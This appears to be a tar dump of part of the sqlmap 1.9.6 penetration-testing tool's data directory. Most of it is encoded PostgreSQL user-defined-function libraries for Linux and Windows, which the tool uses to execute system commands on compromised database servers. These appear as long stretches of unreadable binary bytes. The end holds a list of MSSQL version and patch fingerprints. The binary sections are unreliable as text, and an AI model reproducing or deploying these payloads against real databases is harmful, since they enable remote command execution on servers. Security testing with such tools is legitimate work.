ߛ7q^-&~'#ΩxOOC&E9ZC] Ď46>7(}֚tOpDj2Ju'E׵nB2i%]fi%)tZ|MfufFq ƃHT~pxio"5QZq v/N>JCY\'#jR)>X)AIч*a'.( 8ޞM-^'*I `L?wAA%dcrg5!Jl,g?ǻ8vXe _nbw{(KffO/0@H"sfvrLJܿJORd嵟*]fvz#IH>aC'' }LKi my3ub 鱗xE|sePpɂW3 Cc&Yl!љ?}g:̡L\w/\㢪MIјyj8\:$ ycύSa9~ߓ&YO!.}UaH g}v5{LN= 4R{)U+iНTxL:纒VG&< YD%1 W5Av w;Bj(¬A+}unI~6DN%X^?؛8-rL(2+` LI3;%{h# >y KA]_) 梲ir]{3/m|M 5x9L DsHI9asSI8S[CY~YLCnWKvI 95 ΀~||ꯪp eVQYhY+<$[nJYx'NLcmͦ6faBe^Rm^2HGaHS#&k4ĶQ8EVfݼVL=[m/qvV|P@VDO-p)<,r1n;ZPb xE6S%^r&WcxwNwV\ʿ5ψ'˸>)P g$ځG|Sbmtv^b.3e]񃜵!08W>[ $P=ݹq8h%s1a&i/57 ԃzݮRr|>>f Ä#Gb˃L9 d+jN&#ӖrY=~>˗%+6Q. :5y ar̓k4YCUwxR'tsqlmap-1.9.6/data/udf/postgresql/linux/64/9.3/000077500000000000000000000000001502261744200206225ustar00rootroot00000000000000sqlmap-1.9.6/data/udf/postgresql/linux/64/9.3/lib_postgresqludf_sys.so_000066400000000000000000000052051502261744200257540ustar00rootroot00000000000000= :;%-618FEEgEdea|X0\aᵝ3yx @WrrO-</ٺL1bDg`@YA2 `Ǝ>=zR N}Wv[`'Be lI0qW{%n(Lj* l JI4|ј/@~t]T-\bNsu \ 2pP THJBC@z= >ˀYNyS01l6nmHU)BC_2u*UP7wL8G/%%ĢgW 'wO SK!෪1ڭo aEΟ8Tʙ 0Wm=KPtyߋ}_"|yj#p3[0=Pq6/!~Τi:ϸv/] @H.Ru{9pE/.4q m+^ޫn4FԮu.rMj9 x^ڎ`v9ԽkK |[ԟ)wtͳQlNR$5qp6gǍ&]nԍq&yvWu_*6򥖅Waiy ̚[,i=رּly 8GV\)d ߛ7q^-&~'#ΩxOOC&E9ZC] Ď46>7(}֚tOpDj2Ju'E׵nB2i%]fi%)tZ|MfufFq ƃHT~pxio"5QZq v/N>JCY\'#jR)>X)AIч*a'.( 8ޞM-^'*I `L?wAA%dcrg5!Jl,g?ǻ8vXe _nbw{(KffO/0@H"sfvrLJܿJORd嵟*]fvz#IH>aC'' }LKi my3ub 鱗xE|sePpɂW3 Cc&Yl!љ?}g:̡L\w/\㢪MIјyj8\:$ ycύSa9~ߓ&YO!.}UaH g}v5{LN= 4R{)U+iНTxL:纒VG&< YD%1 W5Av w;Bj(¬A+}unI~6DN%X^?؛8-rL(2+` LI3;%{h# >y KA]_) 梲)r]{3/m|M 5x9L DsHI9asSI8S[CY~YLCnWKvI 95 ΀~||ꯪp eVQYhY+<$[nJYx'NLcmͦ6faBe^Rm^2HGaHS#&k4ĶQ8{@ϳ=lhN(oQPChV+XC+FXm>E<5}dbQ \ᅖ\ȩtDIl){yVȐ̂07l `9 {,ZӉd vmXz kDR+T^l!#\Bҡui%UTrд& TxÿѺvd㲺ҭ,M0[uǒ><]f$L2h ʶ<)q,QoqZ n9Z&Z{"=9ÜM .Oz,cgoz4փXJܲPQv@(\;MBiY, f}Ij Wf> }%A}$/6R~ax*T\u3.="oqk1ij= v鄲ܭї/]# vex)nRۼ|3&ˉnjH fd4_6LHpVPjP_F5v؁6ǽc*~Wұ^뜧H.L4 9n&_ XI<;\餏Q.05 >Pmr7'mF|10 q8 y"&@+ t -N >Nmft *aI}>FG Ⱦ۟KBq7R }0gN)]rZX<#]Y#6Ii`8y>#T382w 3D cc0i'14B(wZуC+gUU=̻ۤC{ `ik_q!%:/veȍ?>*.Xǹ_'>~ѓiaD1q^{=_ygb!j%ooTpgJ%%BxZɇKS3^p^Fb[&qsM 7EUI#]=rfe1zvߣ1Qgfb́Xː9- [dE;JAIHdn|>#hBBpgƸ틐PΆr\/8 ܨsYӘY^JXU'p&l킓,gJޏUNokˤᾬ ᮆ܂h-W AX󍿢pa#̺FEh>  >؆z*%%#ݬ.N)hdm'8]ux)1ϽVr8\ȞZM ޲!az>g:zv+ˌfpR"D Y(J3av^I)j@Dck= p %AJ$Krmˊ(2؄ҍoqQx{Yv` @%U" & ڑ|}\}/1kKW,ɏ6;#4ӌqh TKjoo&敉&bS fŞ('B56)=^:iJOƵgĻ25So%\ &I`VCpvZ9yIn+YuGHlp#PυsHde; ~ꑙݤdAkqfϵOcϚ],IaSwDƇGzMﲱ&BwDZʝNMOw]W* 䛢fa6+p9$;_d)91M|j*DF΢{̮'6Kϯ0FЀ) W+HS^b Q.rw\׃+*HpoKC,|LTak=Lރ? dj|.lw[~^(C·jO`%kI^a"2$`^X2,8{'7* #Aò}L2M?|IR k#1ǰAU}3;cKJ/d˶bɕeJ,w t'-3EN0g vQ{Q5[Ҫ` O1)07opq }kBˎFex'. )"򣶓YIE$yֆUJ ̂ZsI8x.yz72kgًUhͶӁEb{yOY>H7݊9n&_ `I<;\Q.0 >PmrԷ'3MF|>0Jq8 y"b[-WcxgFtՠSUYV__!5}kps,ATO<@P .`ݨuT+@kmsk\tM[ITӝeWWF{yagYݟبPT_AwZ:VˠE۸DͰT[%۬>G x xpgyt裀om2d~_^[P<*tW`XZre6W9 C-%FB,N~*%:sL {:,D01'A:Ae˪,A4ݢNWo h0'Ţ.rFf 7ZÞk5Hq q/bw3h&yP߻pdnUm="O etm樲+Hqi/ȳ(uZуC+CfUUûۤ{ dik_q!%:/večN@?:*-Xȹ_'>kP.M>n* q@ <=%'؛:,y7*>2ᶿ1~+ƭyS}/NA.,4Q(ۅ)|s.?Ub ,ηs3d;-oAt>iј)v4A^ybTd+nxڍzѠϝׂtGb'#C}c͏n式Bt7XeXA` < jK7D$bN/UJlnx|l&DY$4eDiȷip 7ّf$9.}~[3U} xz!տZoy}Zo8ߪe$ Ն۰W)]Εj+7 Ri5f{-kDO>}Y\8av^I)nי]Tb(O躱0Z !2yn~) T M3"[Km3P@Uw*T7 fd7Wro)˹iE[K@"{~.RJՑs8?Xqlʘ_\!7elFR(pm1zkL<1 GΓ<J\$f.sI9 z\)\^87H̢}rNш,I*B*X'we[yI_8 =m2lEu%+VS'NMrϠ568<vovO&|`I1qnYJ\#ߦY%nLlÙ>'Pxj)>'%8%vFZƅ"T&!p}Hp._x?T c?28a酨Z"qa-'8/nIy32V1?rDRӴRm0MD/*qcqFuᶰ$\8aHb&(El8wq"d-=抮6J29>LVBdٰVwZBqY"8eQo#߳w_yDqΫ?K;hV-8*·+D"-�Hr**r3?PamşbbŁX=(k/JS҇s n05ۑT8ز AuJn%k9?*H94ij!Ìβyhݘɜ <|_ !WRmzO|t{)5~Lc[Xzc CD$?]-Jg>UgbIu~~/6G#yO8bC)]^S"8F}pG%OIozSa/B.ObKC@v++:Gx^KI%xOH|K$q`ّr㨁Rc=]N:MtTf~dl[߈$CpT@AB)쇻7߇4ɬSNԨ 8J9d=̵j{K;F{| N`LIgG @zE% 9mzv$/Mݧou.Q5oN Aُ )뇼v&Km6 i[[Bn (%j4XS.E?d~܃´c6 #Jzߚ~9H#a`lDN+C!XI ]75fiE9cn;0Vx(GX;ZGˌTe Z{d hP)3E\qDcħdPלe&l5x%?ʎJ'|> ͌vd2%v1_̺} #N 齂x)wx29,㝣 '1 B.nzY҈BytLH:Zޮ+gq,vIRw ȅ7,`EC=p.!O{ tkȡƊjYiukxa>ɵT~d!x(Iq]עaa-KL)Q>_u)896Ɋ2Rd/iQv}>zJp0g2O*2JPm𯶼J( )Ҡ-{YڰI#'ͽl&h$B=}>ފG"b}no6#r =BPM{k2qpDPh0][GC&e_FvޓYXťQ:)8o^ #M)f:퓬e=А%8p!@7—F?A(bkUcnEBow6V^avPBJS_nzPV1=D1_}N$rl^=Ny>HJ\Ϡȓ3ƿB6(@Jnqʘ6Zq(U} j3LgKԀo|XMTNE{gRP\Ms]r ivQ ,#Ŀol)'U5n5IdT5)0L2rs9AZFlXsqlmap-1.9.6/data/udf/postgresql/windows/32/8.3/000077500000000000000000000000001502261744200211475ustar00rootroot00000000000000sqlmap-1.9.6/data/udf/postgresql/windows/32/8.3/lib_postgresqludf_sys.dll_000066400000000000000000000112361502261744200264340ustar00rootroot00000000000000=j ;n)aWNd_SPH2Cp&c&Ap 69iEv ՕY^s U gFm,Ooujǧװ, =/:8ƓH6qRbzt Fsh@6HA8ups=͓Iވ Jjl 5@MDpCHfׂP )b4INJf#NScCI3muCʠK S K^K4ɭ頦;_PCe7JXwyŲيSUIjv~Ģ;1gu4J= rt]A0[4]C-']Ni~[Vm(w馳Ӓa$C Uc._\188]Y< >>%ZUh9 h&jzZ!_t!PO>0ͅ*/ڪ]J(iyʤeZp[`Y#uFv[э R!o}'2Wt<ذBu$3+Iv}ٱ4Yct_W y h.,Պ|Oy?/vbJ_: Y* W r2wHtb,~`؂~Ӯ&;olqR'3& 'aW~>m}!֤ҏq|Tfx՜g@m5V^SFx1ȹ :gN0BHW#:5*$Nt֏~gTz d+gjp0 hY <>mѓѾphX-Y6!`LO-h{xٓ:0nR= (\fZc Ux -vF<{l]`,uɇ۵.{7@u*W("Q4.I#@8>la);b*ѽh7;DNys@ѥ.d'(Vj, Y]4FW+(YUF˰X3 8AG68/~" ;ʌ ].ҭe@k\U[=fȄ9;?8t!Iʬ%t.8' n0k_,YgTdL)ںqX`M#(/ngό!@mRn)O>O5ؼϦo„T{VveQ;}:/%̖mxb?|F =樾Yg،4/L+"w979^hi껥<_!C|JI4sY6g<8b%w!@Py1M8uv&Ώ27/~:s<yXw,,/8{3\uzjiV9Jg7fIт/z פA=v~=y1ixRy*>踘j4Je*݀x~j{{dG vK7/h6sQIPZGu/Ob1&iJ E*"Ĕ+> ANRUdATRC6dGs$"k"u=Bi~akj@zgle *W;4Tط~Ȣ٬cd 5m1=7B>/Q ]:tt~52HSDY)%KMIGˉG)*݊U?VG|{hkKpIj-{ЂAu[*5tlݩX MްԵQ:xWܯ! ]jtz,l%tz԰ypMGՖ+ql :™;PchIl1{B~;IFNG : bz+ uׯ0? |TI/T5&^.nC@P 8dH:A6\[Ĵ910Almtߑ=YEg+IS%S_xIx+7˵zZ-UeAM [1#%| 8}6oCROAAV ~ʚ>ga Ƽ&˗" `Qƈ׊i r!KE Ō 'ehFFZ\-:xc} "@#QhV蓟(U{a;M _ hpNc \*=^:#+L@BtY8f d$/-6[{Txщzfw43S1ja3'Tiob1L6her?N0ihh+B3i 7e/Jr\h k4 (o|>bx ny:'4|֗{4#=-isAJG61Oc-Dv\BVGZ ԃ%eC|;_S]31qN9mGCgangC#wGU,k3&;-W_m*!tpB煈Ot+Tئ 9XYgU:/kN5֔?RE鬥gKŮɯ<ɲ䥬P\AOfk/W7͵7sT]DZc_b0X(qH C7~ivy6ijdn,OR/VV&f"Ɨ2ܽE wG'Cá=H1[fiAU^PDI~sD^cO~mo;E+[j->c1FbO܌D !Dۂ>j56`Z_,Jwpk=o%~`1CYq(DGgpS^p27d$&w?m3>w\l3z&g8_<7>ߕ+eOjʚɒ@")4a"烅W4Q |cj/.ˡ+jEpե'x:s%GHMJэloS~b0‹9BR~`#2o^8v[nѫzZɺHjjngc؞DRܡ- >r&>bHWT>*u^4Tn|KFF_ \bQN'Hvc95Th̠-cBq5{GYI(i[2b&oWU mT`iINo >, raW8Qqqs\műG>&en~_،>:U(J8@O1S:jD۟E} 4*ys.b8S.7X)Vbj> @2ڪ7Þ8B `^<:( ʠ ;~V+gsY橋lOEm±# ,]8ch5a1JWR,$83{k<'B uԀ/lG8鰿+%\ZW@Z)7,(D “IuOH|v7V `mLWEuBzMPhaj?;oSvXX 9dk6d9_iivzHX_'C.٦tde  LdwU<+;# Wwhy9[kx]S )q~z}+ n:t29C|Pʝ.0u&p[ZaD1hy^>gJjS]'Qvǜ<^_bGhҳF. y8oU?fDy+1zAY0̹U5^=Jj@=3/ʣ[+'͕)fBe`sqlmap-1.9.6/data/udf/postgresql/windows/32/8.4/000077500000000000000000000000001502261744200211505ustar00rootroot00000000000000sqlmap-1.9.6/data/udf/postgresql/windows/32/8.4/lib_postgresqludf_sys.dll_000066400000000000000000000112451502261744200264350ustar00rootroot00000000000000=j ;n)A/O/O.S@F,T`YIcJ@u?BơkEvڽhũsQ_U8_7U8NLy_$rߔشX-e?$X7jjԘDa]FgHR˯Ffҽ}{kC X+|rb I?V>qPX2T~7sMUV;E,b'1O/%A02]Mu& Uk#qܩ<΋53\V4)A;ؘ\肠Ood[f@4Z`sw g| &D, ajr"閩6n}' e[i| elNVǕ>SNXxee.m:;͑q$^Ѐ?Oy)Xas|tMYKu'Q]cȣoK{ݤҌMjm~ݓFN*KWi}p92dP0@yXx!-01V>O!2 ! Rϔ;#׭މ'3-q@Aoܰ5EGǴ-l(-Y~4|^8s/]-W Q>K4<_tZ#>?9sE}PBڳؾ2SCS=C)͛֟rq [`Cp #E&Qǻ"_g'Yw w NMǦ2}\%Ĭ(;P.!R3w gHu.["˪+~CQ*nsLWq6S}e ۢֈ8{O")"&a $j )V~Y>y〬'qEyJSU!gց š;=@^_XkmqDv@zz Z3`IamN"BA%0SaWz,Q%Κ Kgxvd$_d(0o3sP3SH}T;)8(`?F }!mge̸Ӗ΍9݌x +xKI 70 kg1sr9[Z7kAGYEPD M*&!uD]87{) gSn3"tS9A)F B::u7/e~B]?h~WdZ@y v|8\> = ڔ8xhliUՒ+?= 8WΣ&\2G@}׵@UiL,ݱ'&Q™:*/\iaS }Q&)E2ډ^t8 U2He؀lW (.{9w\v^!d=3ie9;бzd_Š0cU;TոNO,Ƭj%)*h-8_J=+BƑN!Kȴ8 ;IkERy-;1vYB9YawtyWѝ?6QPARH?;75 2$gaS8;!n9@X$2R <!<&AAԪKNJὼg^QkEb1vrϳy63Y# )2RzÎl7H1ԉX.W\)pT Z7i(:t:Ϸiк(h,$Kz:Lap,A!a\wX"xx՝i SڳEsȆ셔FYK '5wb yLnb<G@UmKR`8,NA)d|{t8ѨyK6*z} %4!z\Rx=7C,6 cE[,UAɗJodҠoQXp3%Z3Ro~X)#tLG|QZ(&aU v~5@g@DO"Oda\w*Vt"бf.tQ19VϱbOڍ9|Mo V'aJ~C܀¡2Ki'E$G%_Suqy-9K}`  Z?df*`௢5lDjq3 ( :U\ڒHo&Fծ]1%ܰjd$k'~y-Y˷* b{{*;j(:+zM. ,!G |HM@O3D-8OѮ5DG Sma<`ff 5w3CW:Ijs\2֫;p) q<Ж$˺tVJɕ.rƙZ=rc~(,:Ij-4,TA[sR%PX ·H9:jB|;ۙt|QUI vk^OKҏzrGd~rzz8E4~ÕBތsdX^~z}//BE% J%Ǩ#Y295vfq`fK`􀫎V7kvWbHn[s9NOU[p>+!&R>#ky`j;0Y53WcS(٢m-n-K\@]J$†$6M-:ʮ?hV{:vJ±ôh9#Z:v~fG]6>5{F 52uʲP³1C Zo湑>grr^"'M bMv NDX Gq5P̚-h3BDrrUbz]@ACݎu'͵SK\K7BE ="woV҃ZCo*\*ua`e@6oс3mbD8o%Zۏ؇տ8!<&LcvB/ʬ]H1}/C$bt4TJѵ14I\$^4ʟ-$ FDz;G $ }YD5݁~ɡ/ءG< 3oॊl짪]5*5?sQ臦!] ,k#ݜ<9YBNG [-ke6`}Xeg_4B  P;π| `3_& !?XEĩO e}0?8 g4ʆVv *Y`8NW+; @؉Ex';BIt]fw:dIJ-(Ώ[!JZ{u>kP E!}86a=R ʖ{Vؚ(k<e/@j*=}ל`flOc?B11<ƭHz$A % م/LqlMuD%ˠ5Q]d|=d5*ey3jz'ʼ`{,-l>@?}Zilah I0y3;!x aܑR-I)&~jADfI4ы<1];z'H*q*y#2,N %6vL6> 7cT[1F!92divó:S AJMJ,Aωy\ ˑs,ĸ'Dyч.I}!2uפhEjvs/Ȅi-tDt[N󉆀iIfBk\toDMה 1F$ ^IJ~Qء8.VcCbbYحW,7X** F`[qo pCyn+a!;m wL:_y#ljcX}a0}1 U(RKCul1nDEMjmFFuńQ0?y}Xqb>!_nik3t|AS%z{CtvGSs1Ϳ[q9M_5yt qC+c|e'xDKV7{b@RHn`P2;­FS-r2֨ FKd) ߐ}lhbo1/Z1Q2&6N sAŐrw K-pgAM6E0; f,d?(#"hvW~Ȗ(}=n3[5|h_JU{*~ 0dˑpn3XNPYWGWO`b7 .?YHhW쉄Â''|ߖUUΜ;qmK#\_ç53];2<{V!+mt٢XVr, #AdH濏F[]e7+VӁQ1(.t_1CW;WZ(uG/QRH l|yH"M :|r?Ƈw2>աd?80Gl׹p/0X6j!/gh=2zmАaYXy2h0_?lKKQSO iI5h䥂. C(Q .Q;,/w=>w]7(өIZlO^÷uD*/¹wv|3 -y}d d\AB>RBx_lkei]Y 4\'^:S-bwL biW"@.#g`BӀ#L<|~-`E/zr LB<6F+pkɊ<#|F(y"D?nwO99ndsٗ`)P?hWD|H`ඦ2rRTqQb]VpΪYtBpH9нίIzb~6k~N0c6"tJvąm0KO3Rfeh?RiCנ'LA.ٞVCC!IC|1c\͉#akxZ$D'V]Z?ް<3$8aaby YHBydc*LqVmtHFJ3I1c7E2 :Z$0,w LPxo'hW87}C ? i_ylw00MO/ϭn4Vr:~sqlmap-1.9.6/data/xml/000077500000000000000000000000001502261744200145405ustar00rootroot00000000000000sqlmap-1.9.6/data/xml/banner/000077500000000000000000000000001502261744200160055ustar00rootroot00000000000000sqlmap-1.9.6/data/xml/banner/generic.xml000066400000000000000000000074711502261744200201540ustar00rootroot00000000000000 sqlmap-1.9.6/data/xml/banner/mssql.xml000066400000000000000000003061151502261744200176740ustar00rootroot00000000000000 10.50.2418 1 CTP 10.50.1797 0+Cumulative Update 8 10.50.1790 0+Q2494086 10.50.1777 0+Cumulative Update 7 10.50.1765 0+Cumulative Update 6 10.50.1753 0+Cumulative Update 5 10.50.1746 0+Cumulative Update 4 10.50.1734 0+Cumulative Update 3 10.50.1720 0+Cumulative Update 2 10.50.1702 0+Cumulative Update 1 10.50.1600.1 0 10.50.1450.3 0 10.00.4311 2+Q2494094 10.00.4285 2+Cumulative Update 4 10.00.4279 2+Cumulative Update 3 10.00.4272 2+Cumulative Update 2 10.00.4266 2+Cumulative Update 1 10.00.4000 2 10.00.2841 1+Q2494100 10.00.2821 1+Cumulative Update 14 10.00.2816 1+Cumulative Update 13 10.00.2808 1+Cumulative Update 12 10.00.2804 0+Q2413738 10.00.2799 1+Cumulative Update 10 10.00.2789 1+Cumulative Update 9 10.00.2775 1+Cumulative Update 8 10.00.2766 1+Cumulative Update 7 10.00.2760 0+Q978839 10.00.2758 1+Q978791 10.00.2757 1+Cumulative Update 6 10.00.2746 1+Cumulative Update 5 10.00.2740 0+Q976761 10.00.2734 1+Cumulative Update 4 10.00.2723 1+Cumulative Update 3 10.00.2714 1+Cumulative Update 2 10.00.2712 0+Q970507 10.00.2710 1+Cumulative Update 1 10.00.2531 1 10.00.1835 0+Cumulative Update 10 10.00.1828 0+Cumulative Update 9 10.00.1823 0+Cumulative Update 8 10.00.1818 0+Q973601 10.00.1812 0+Cumulative Update 6 10.00.1806 0+Cumulative Update 5 10.00.1798 0+Cumulative Update 4 10.00.1787 0+Cumulative Update 3 10.00.1779 0+Q958186 10.00.1771 0+Q958611 10.00.1763 0+Q956717 10.00.1755 0+Q957387 10.00.1750 0+Q956718 10.00.1600.22 0 10.00.1300.13 February CTP 10.00.1049.14 July CTP 10.00.1019.17 June CTP 9.00.5292 4+Q2494123 9.00.5266 4 Cumulative Update 3 9.00.5254 4 Cumulative Update 1 9.00.5000 4 9.00.4912 4 CTP 9.00.4340 3+Q2494112 9.00.4325 3+Q2438344 9.00.4315 3+Q2438344 9.00.4311 3+Q2345449 9.00.4309 3+Q2258854 9.00.4305 3+Q983329 9.00.4294 3+Q980176 9.00.4285 3+Q978915 9.00.4278 3+Q978791 9.00.4273 3+Q976951 9.00.4266 3+Q974648 9.00.4230 3+Q972511 9.00.4226 3+Q970279 9.00.4224 3+Q971409 9.00.4220 3+Q967909 9.00.4216 3+Q967101 9.00.4211 3+Q961930 9.00.4207 3+Q959195 9.00.4053 3 9.00.4035 3 9.00.3356 2+Cumulative Update 17 9.00.3355 2+Q216793 9.00.3330 2+Q972510 9.00.3328 2+Q970278 9.00.3327 2+Q948567 9.00.3325 2+Q967908 9.00.3320 2+Q969142 9.00.3318 2+Q967199 9.00.3315 2+Q962970 9.00.3310 2+Q960090 9.00.3303 2+Q962209 9.00.3302 2+Q961479 9.00.3301 2+Q958735 9.00.3295 2+Q959132 9.00.3294 2+Q956854 9.00.3291 2+Q956889 9.00.3289 2+Q937137 9.00.3282 2+Q953752 9.00.3261 2+Q955754 9.00.3260 2+Q954950 9.00.3259 2+Q954669 9.00.3257 2+Q951217 9.00.3253 2+Q954054 9.00.3244 2+Q952330 9.00.3242 2+Q951190 9.00.3240 2+Q951204 9.00.3239 2+Q949095 9.00.3235 2+Q950189 9.00.3232 2+Q949959 9.00.3231 2+Q949687 9.00.3230 2+Q949199 9.00.3228 2+Q946608 9.00.3224 2+Q947463 9.00.3222 2+Q945640 9.00.3221 2+Q942908 9.00.3215 2+Q941450 9.00.3209 2 9.00.3208 2+Q944902 9.00.3206 2+Q944677 9.00.3205 2 9.00.3203 2 9.00.3200 2+Q941450 9.00.3195 2 9.00.3194 2+Q940933 9.00.3186 2+Q939562 9.00.3182 2+Q940128 9.00.3180 2+Q939942 9.00.3179 2+Q938243 9.00.3178 2 9.00.3177 2+Q939563 9.00.3175 2+Q936305 9.00.3171 2+Q937745 9.00.3169 2+Q937041 9.00.3166 2+Q936185 9.00.3162 2+Q932610 9.00.3161 2+Q935356 9.00.3159 2+Q934459 9.00.3156 2+Q934226 9.00.3155 2+Q933549 9.00.3154 2+Q934106 9.00.3153 2+Q933564 9.00.3152 2+Q933097 9.00.3080 2+Q970895 9.00.3077 2+Q960089 9.00.3073 2+Q954606 9.00.3054 2+Q934458 9.00.3050 2+Q933508 9.00.3043 2+Q933508 9.00.3042 'Fixed' 2 9.00.3033 2 CTP 9.00.3027 2 CTP 9.00.3026 1+Q929376 9.00.2249 1+Q948344 9.00.2245 1+Q933573 9.00.2243 1+Q944968 9.00.2242 1+Q943389 9.00.2239 1+Q940961 9.00.2237 1+Q940719 9.00.2236 1+Q940287 9.00.2234 1+Q937343 9.00.2233 1+Q933499 9.00.2232 1+Q937277 9.00.2231 1+Q934812 9.00.2230 1+Q936179 9.00.2229 1+Q935446 9.00.2227 1+Q934066 9.00.2226 1+Q933762 9.00.2224 1+Q932990 9.00.2223 1+Q932393 9.00.2221 1+Q931593 9.00.2219 1+Q931329 9.00.2218 1+Q931843 9.00.2216 1+Q931821 9.00.2215 1+Q931666 9.00.2214 1+Q929240 9.00.2211 1+Q930283 9.00.2209 1+Q929278 9.00.2208 1+Q929179 9.00.2207 1+Q928394< 9.00.2206 1+Q928539 9.00.2202 1+Q927643 9.00.2201 1+Q927289 9.00.2198 1+Q926773 9.00.2196 1+Q926285 9.00.2195 1+Q926240 9.00.2194 1+Q925744 9.00.2192 1+Q924954 9.00.2191 1+Q925135 9.00.2190 1+Q925227 9.00.2189 1+Q925153 9.00.2187 1+Q923849 9.00.2183 1+Q929404 9.00.2181 1+Q923624 9.00.2176 1+Q923296 9.00.2175 1+Q922578 9.00.2174 1+Q922063 9.00.2167 1+Q920974 9.00.2164 1+Q919636 9.00.2156 1+Q919611 9.00.2153 1+builds 1531 9.00.2050 1+.NET Vulnerability fix 9.00.2047 1 0 9.00.2040 1 CTP 9.00.2029 1 Beta 9.00.1561 0+Q932556 9.00.1558 0+Q926493 9.00.1554 0+Q926292 9.00.1551 0+Q922804 9.00.1550 0+Q917887 9.00.1547 0+Q918276 9.00.1545 0+Q917905 9.00.1541 0+Q917888 9.00.1539 0+Q917738 9.00.1538 0+Q917824 9.00.1536 0+Q917016 9.00.1534 0+Q916706 9.00.1533 0+Q916086 9.00.1532 0+Q916046 9.00.1531 0+Q915918 9.00.1528 0+Q915112 9.00.1519 0+Q913494 9.00.1518 0+Q912472 9.00.1514 0+Q912471 9.00.1503 0+Q911662 9.00.1502 0+Q915793 9.00.1500 0+Q910416 9.00.1406 0+Q932557 9.00.1399 0 9.00.1314 September CTP Release 9.00.1187 June CTP Release 9.00.1116 April CTP Release 9.00.1090 March CTP Release 9.00.981 December CTP Release 9.00.951 October CTP Release 9.00.917 Internal build 9.00.852 Beta 2 9.00.849 Internal build 9.00.844 Internal build 9.00.836 Express Ed. Tech Preview 9.00.823 Internal build 9.00.790 Internal build 9.00.767 Internal build 9.00.747 Internal build 9.00.645 MS Internal 9.00.608 Beta 1 7.00.1152 4+Q941203 7.00.1150 4+Q891116 7.00.1144 4+Q830233 7.00.1143 4+Q829015 7.00.1097 4+Q822756 7.00.1094 4+Q815495 7.00.1079 329499 7.00.1078 4+Q327068 7.00.1077 4+Q316333 7.00.1063 4 7.00.1033 3+Q324469 7.00.1026 3+Q319851 7.00.1004 3+Q304851 7.00.996 3+Q299717 7.00.978 3+Q285870 7.00.977 3+Q284351 7.00.970 3+Q283837 7.00.961 3 7.00.921 2+Q283837 7.00.919 2+Q282243 7.00.918 2+Q280380 7.00.917 2+Q279180 7.00.910 2+Q275901 7.00.905 2+Q274266 7.00.889 2+Q243741 7.00.879 2+Q281185 7.00.857 2+Q260346 7.00.842 2 7.00.839 2 Unidentified 7.00.835 2 Beta 7.00.776 1+Q258087 7.00.770 1+Q252905 7.00.745 1+Q253738 7.00.722 1+Q239458 7.00.699 1 7.00.689 1 Beta 7.00.677 MSDE O2K Dev 7.00.662 Gold+Q232707 7.00.658 Gold+Q244763 7.00.657 Gold+Q229875 7.00.643 Gold+Q220156 7.00.623 Gold 7.00.583 RC1 7.00.517 Beta 3 8.00.2283 4+Q971524 8.00.2279 4+Q959678 8.00.2271 4+Q946584 8.00.2265 4+Q944985 8.00.2253 4+Q939317 8.00.2249 4+Q936232 8.00.2248 4+Q935950 8.00.2246 4+Q935465 8.00.2245 4+Q933573 8.00.2244 4+Q934203 8.00.2242 4+Q929131 8.00.2238 4+Q931932 8.00.2234 4+Q929440 8.00.2232 4+Q928568 8.00.2231 4+Q928079 8.00.2229 4+Q927186 8.00.2226 4+Q925684 8.00.2223 4+Q925678 8.00.2218 4+Q925297 8.00.2217 4+Q924664 8.00.2215 4+Q924662 8.00.2209 4+Q923797 8.00.2207 4+Q923344 8.00.2201 4+Q920930 8.00.2199 4+Q919221 8.00.2197 4+Q919133 8.00.2196 4+Q919165 8.00.2194 4+Q917972 8.00.2192 4+Q917606 8.00.2191 4+Q916698 8.00.2189 4+Q916652 8.00.2187 4+916287 8.00.2180 4+Q913684 8.00.2175 4+Q911678 8.00.2172 4+Q910707 8.00.2171 4+Q909369 8.00.2168 4+Q907813 8.00.2167 4+Q921293 8.00.2166 4+Q909734 8.00.2162 4+Q904660 8.00.2156 4+Q906790 8.00.2151 4+Q903742 8.00.2148 4+Q899430 8.00.2147 4+Q899410 8.00.2145 4+Q826906 8.00.2055 4+Q959420 8.00.2040 4+Q899761 8.00.2039 4 8.00.2026 4 Beta 8.00.1547 3+Q899410 8.00.1037 3+Q930484 8.00.1036 3+Q929410 8.00.1035 3+Q917593 8.00.1034 3+Q915328 8.00.1029 3+Q902852 8.00.1027 3+Q900416 8.00.1025 3+Q899428 8.00.1024 3+Q898709 8.00.1021 3+Q887700 8.00.1020 3+Q896985 8.00.1019 3+Q897572 8.00.1017 3+Q896425 8.00.1014 3+Q895123 8.00.1013 3+Q891866 8.00.1009 3+Q894257 8.00.1007 3+Q893312 8.00.1000 3+Q891585 8.00.997 3+Q891311 8.00.996 3+Q891017 8.00.994 3+Q890942 8.00.993 3+Q890925 8.00.991 3+Q889314 8.00.990 3+Q890200 8.00.988 3+Q889166 8.00.985 3+Q889239 8.00.980 3+Q887974 8.00.977 3+Q888007 8.00.973 3+Q884554 8.00.972 3+Q885290 8.00.970 3+Q872842 8.00.967 3+Q878501 8.00.962 3+Q883415 8.00.961 3+Q873446 8.00.959 3+Q878500 8.00.957 3+Q870994 8.00.955 3+Q867798 8.00.954 3+Q843282 8.00.952 3+Q867878 8.00.944 3+Q839280 8.00.937 3+Q841776 8.00.936 3+Q841627 8.00.935 3+Q841401 8.00.934 3+Q841404 8.00.933 3+Q840856 8.00.929 3+Q839529 8.00.928 3+Q839589 8.00.927 3+Q839688 8.00.926 3+Q839523 8.00.923 3+Q838460 8.00.922 3+Q837970 8.00.919 3+Q837957 8.00.916 3+Q317989 8.00.915 3+Q837401 8.00.913 3+Q836651 8.00.911 3+Q837957 8.00.910 3+Q834798 8.00.908 3+Q834290 8.00.904 3+Q834453 8.00.892 3+Q833710 8.00.891 3+Q836141 8.00.879 3+Q832977 8.00.878 3+Q831950 8.00.876 3+Q830912 8.00.873 3+Q830887 8.00.871 3+Q830767 8.00.870 3+Q830262 8.00.869 3+Q830588 8.00.867 3+Q830366 8.00.866 3+Q830366 8.00.865 3+Q830395 8.00.863 3+Q829205 8.00.859 3+Q821334 8.00.858 3+Q828637 8.00.857 3+Q828017 8.00.856 3+Q828096 8.00.854 3+Q828699 8.00.852 3+Q830466 8.00.851 3+Q826754 8.00.850 3+Q826860 8.00.848 3+Q826822 8.00.847 3+Q826433 8.00.845 3+Q826364 8.00.844 3+Q826080 8.00.842 3+Q825043 8.00.841 3+Q825225 8.00.840 3+Q319477 8.00.839 3+Q823877 8.00.837 3+Q821741 8.00.819 3+Q826161 8.00.818 3+Q821277 8.00.816 3+Q818766 8.00.814 3+Q819662 8.00.811 3+Q819248 8.00.807 3+Q818899 8.00.804 3+Q818729 8.00.801 3+Q818540 8.00.800 3+Q818414 8.00.798 